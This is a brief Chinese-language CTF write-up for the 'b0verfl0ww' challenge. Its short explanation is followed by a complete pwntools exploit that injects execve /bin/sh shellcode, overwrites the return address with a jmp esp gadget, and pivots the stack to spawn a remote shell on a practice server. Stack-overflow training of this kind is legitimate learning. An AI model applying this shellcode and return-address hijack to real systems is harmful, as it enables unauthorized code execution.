x_ctf_b0verfl0ww
查看保护
有溢出但是空间小不可以ret2libc。没开nx看见不有一个hint
有个jmp esp,这是一个好跳板,可以去看一下0day安全这个书,里面讲到了jmp esp的灵活运用。写shellcode进去,然后通过jmp esp 和 sub esp, xx,jmp esp来执行shellcode即可。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26926)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
jmp_esp = 0x8048504
shellcode = '''
xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80
'''
shellcode = asm(shellcode)
sub_esp_jmp_esp = asm('sub esp,0x28;jmp esp')
p1 = shellcode
p1 = p1.ljust(0x20, b'\x00') + b'aaaa' + p32(jmp_esp) + sub_esp_jmp_esp
r.sendline(p1)
r.interactive()